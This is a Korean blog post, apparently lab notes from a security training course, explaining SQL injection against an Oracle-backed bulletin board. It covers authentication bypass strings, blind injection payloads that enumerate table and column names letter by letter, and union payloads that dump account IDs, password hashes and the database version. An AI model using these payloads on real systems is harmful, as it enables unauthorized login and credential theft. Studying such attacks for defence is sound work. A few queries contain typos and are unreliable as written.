주인장의 인사말
오늘은 SQL 인젝션 공격에 대해 알아볼게용 !!
오늘도 쿼카와 함께 웃음 가득한 하루 보내시길 바라요 ~ ^^
SQL 인젝션 수행 단계
2 (Blind base 공격) > 3 (Union base 공격) > 1 (인증 우회 공격)
* 인증 우회에 필요한 ID를 얻어내기 위해 2, 3 공격을 수행하는 것이다.
* 근데 애초에 로그인 안 한 사람은 검색 못 하게 하면 SQL 인젝션 불가능한 거 아닌가요? -- 맞습니다^^!!
1. 인증 우회 공격
- 쿼리문 조작을 통해 인증 SQL문을 무력화한다.
- 인증에 사용되는 SQL
- $sql = "select id, pw from id where id = '$id' and pw = '$pw'";
- 공격기법: 공격자가 유추하기 어려운 pw 부분을 주석 처리를 통해 무효화한다.
** 인증 우회에 사용된 구문에 따라 우회 결과가 매우 다르다.
1) 아이디' --
2) 아이디' or 1='1' --
인증 우회 공격 실습)
- 1차원 패치 방식: 인증 SQL 구문이 True/False 만을 확인하는 경우 (MySQL 등에서 주로 쓰임)
> row에 값이 넘어오면 로그인 된 것으로 간주하여 인증에 성공함.
1차원 패치 방식의 웹페이지는 id' or 1='1' -- 입력 시 어떤 id 값이 와도 or 뒷부분이 참이기 때문에 로그인이 된다.
select 했을 때 해당 테이블의 첫번째 계정으로 로그인 된다. 실제로 첫번째 계정은 관리자 계정일 가능성이 높기 때문에 위험하다.
- 2차원 패치 방식: 인증 SQL구문이 검색 행의 결과를 확인하는 경우
2차원 패치 방식은 공격 대상자의 ID만 알고 있으면 패스워드 없이 로그인 할 수 있다.
1차원 패치 방식에서 인증 우회 공격에서 사용됐던 id' or 1='1' -- 문은 2차원 패치 방식의 웹페이지에서는 사용될 수 없다.
왜냐하면 row에 행이 여러 개 넘어오기 때문이다.
2. Blind Base 공격
- 공격 대상에 대한 어떠한 정보도 없는 상태에서 시스템의 다양한 정보를 얻어내는 공격이다.
- 테이블명(테이블 이름의 문자 개수), 컬럼명(컬럼 이름의 문자 개수) 등의 정보
- 사용되는 SQL 함수
SUBSTR(문자열, #, #)
LENGTH(문자열) - 관련 SQL문
1 테이블의 개수를 검색한다.
2 테이블명의 문자 개수를 검색한다.
3 테이블명을 검색한다. (정렬된 내용중 첫 번째 테이블명부터 검색)
4 테이블의 컬럼 개수를 검색한다.
5 테이블의 컬럼명의 문자 개수를 검색한다.
6 테이블의 컬럼명을 검색한다.
테이블 이름 검색
# select tname from tab;
정렬된 테이블명 검색
# select tname from tab order by tname;
정렬된 테이블명에서 행번호, 테이블명 검색
# select rownum r, tname from tab order by tname;
n번째 테이블만 검색
-- 잘못된 SQL문
# select tname from tab where rownum = 1;
rownum은 데이터가 아니기 때문에 위의 명령문 불가능..
# select tname from (select rownum r, tname from tab order by tname);
> rownum이 column이 됨
-- 올바른 SQL문
# select tname from (select rownum r, tname from tab order by tname) where r = &n;
2. n번째 테이블명의 문자 개수 알고 싶을 때
# select length(tname) from (select rownum r, tname from tab order by tname) where r = n;
-- 실제 sql 인젝션에 쓰이는 SQL문
# select length((select tname from (select rownum r, tname from tab order by tname) where r=&n)) from dual;
> 1. r이 n일 때 tname의 length가 0이면, 존재하지 않는 것이기 때문에 n-1개의 테이블이 존재함을 알 수 있다.
3. n번째 테이블의 이름에서 m번째 철자(테이블명 알아낼 때까지 반복)
# select substr(tname, m, 1) from (select rownum r, tname from tab order by tname) where r = n;
-- 실제 sql 인젝션에 쓰이는 SQL문# select substr((select tname from (select rownum r, tname from tab order by tname) where r = &n , &m, 1)) from dual;
5. 테이블의 n번째 컬럼의 문자 개수 (user_tab_columns = desc cols)
# select length(column_name) from (select rownum r, column_name from cols where table_name = 'tname' order by column_name) where r = n;
-- 실제 sql 인젝션에 쓰이는 SQL문
# select length((select column_name from (select rownum r, column_name from cols where table_name='&tname' order by column_name) where r = &n)) from dual;
> 4. r이 n일 때 column_name의 length가 0이면, 존재하지 않는 것이기 때문에 n-1개의 컬럼이 존재함을 알 수 있다.
6. '테이블' n번째 컬럼명의 m번째 철자 (컬럼명 알아낼 때까지 반복)
# select substr(column_name, m, 1) from (select rownum r, column_name from cols where table_name = 'tname' order by column_name) where r = n;
-- 실제 sql 인젝션에 쓰이는 SQL문
# select subsr((select column_name from (select rownum r, column_name from cols where table_name = '&tname' order by column_name) where r = &n), &m, 1) from dual;
컬럼의 데이터 타입 확인
# select rownum r, column_name, data_type from cols where table_name = '테이블명' order by r;
실습 예시) 다음 게시글을 쓴 계정이 있는 DB의 테이블(개수, 이름) 정보를 얻어오자.
먼저, 테이블의 개수를 알아보자. st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=4)) > 0 --
만약 네 번째 테이블이 존재한다면 테이블명의 길이가 0보다 클 수 밖에 없기 때문에 해당하는 게시글이 출력될 것이다.
하지만 네 번째 테이블이 존재하지 않기 때문에 아무 게시글도 출력되지 않음을 확인할 수 있다.
st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=3)) > 0 --
위의 sql문에는 게시글이 출력됨을 확인할 수 있다. 즉, 해당 DB에 테이블이 3개 있음을 알 수 있다.
첫 번째 테이블명의 길이를 확인한다. 다음 sql문을 입력했을 때 아무런 게시글이 출력되지 않는다면 틀린 길이를 입력한 것이다. 만약 테이블 길이를 맞혔다면 해당 게시글이 출력될 것이다
[테이블 길이 틀림]
[테이블 길이 맞음]
st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=1)) = 2 --
첫 번째 테이블명의 첫 번째 철자를 확인한다. 다음 sql문을 입력했을 때 아무런 게시글이 출력되지 않는다면 틀린 문자를 입력한 것이다. 만약 맞혔다면 해당 게시글이 출력될 것이다
st%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=1),1,1) = 'I' --
첫 번째 테이블명의 두 번째 철자를 확인한다.
st%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=1),2,1) = 'D' --
1) 테이블명의 길이가 2인 것을 알아낸 후
2) 'A' ~ 'Z' 까지 첫 번째, 두 번째 자리에 각각 대입해봄으로써
첫 번째 테이블명의 이름을 알아낼 수 있었다.
3. Union base 공격
- Blind 공격을 통해 알아낸 테이블명, 컬럼명, 컬럼의 데이터 타입을 기반으로 데이터베이스의 테이블 정보를 검색하는 방법이다.
- 사전에 반드시 Blind based 공격을 통해 테이블명, 컬럼 개수, 데이터 타입 등에 대한 정보를 획득해야 한다.
- RDBMS 시스템 구성에 대한 정보 뿐 아니라 이름이 알려진 테이블의 내부 정보 검색도 가능하다.
- 공격 대상인 테이블의 컬럼 순서를 정확히 알아야 하는데 공격자는 해당 정보를 정확히 알 수 없음으로 여러 번의 시도를 통해 검색 가능하다.
- 컬럼의 개수가 다른 테이블을 union으로 검색하는 방법을 통해 공격이 가능하다.
- 사용자가 숨기고 싶었던 정보를 출력할 수 있다.
문자열 '안녕'을 입력하고 확인 버튼을 누르면 위의 sql문이 실행된다.
게시판의 검색창에 문자열을 입력하면 sql 문의 '%%' 부분에 쏙 들어가는 것을 이용하여 원하는 정보를 찾아낼 수 있다.
%' union select 99, '2' , '3', id, pw, 5 from id --를 입력하면 문자열 부분이 끝나고 union 문장이 입력되어 실행된다.
--를 써줌으로써 주석 처리를 하여 뒤의 문장들은 무시된다. 해당 인젝션 쿼리문을 통해 게시판에 등록된 계정과 해시된 패스워드를 출력할 수 있다. 이와 같은 공격이 인증 테이블 공격이다.
-- 인증 테이블 공격 (union을 이용하여 검색창에 문장 삽입)
select 아이디, 패스워드, ... from 인증_테이블
** 인증_테이블은 id나 패스워드 등 인증에 필요한 정보가 담겨있는 테이블을 의미한다.
-- 아이디, 패스워드 검색
select bno, i.id, name, subject, to_char(bdate,'YYYY/MM/DD') bdate,hit
from board b, id i where i.id=b.id and subject like '%%'
union
select 1, '2' , '3', id, pw, 5 from id
--%' order by bno desc
RDBMS 정보 검색(오라클 버전 검색)
SELECT banner FROM v$version
: 검색창에 집합 연산자 'union'을 통해 해당 문장을 입력함으로써 sql문에 삽입해서 게시판 화면에 RDBMS 정보가 출력되도록 한다.
: %' union select 1, '2' , '3', banner, 'YYYY/MM/DD', 5 from v$version --
-- 오라클 버전 검색
select bno, i.id, name, subject, to_char(bdate,'YYYY/MM/DD') bdate,hit
from board b, id i where i.id=b.id and subject like '%%'
union
select 1, '2' , '3', banner, 'YYYY/MM/DD', 5
from v$version
--%' order by bno desc
'인프라 7기 > 네트워크 보안 공격 기법' 카테고리의 다른 글
ICMP 리다이렉트 (0) | 2023.05.10 |
---|---|
ARP 스푸핑, ARP 리다이렉트 (0) | 2023.05.09 |
스니핑(Sniffing) //Tcpdump, Dsniff (1) | 2023.05.09 |
SQL 인젝션 공격이 불가하도록 웹 코드 개선 (0) | 2023.05.08 |
SQL 인젝션_실습 (0) | 2023.05.08 |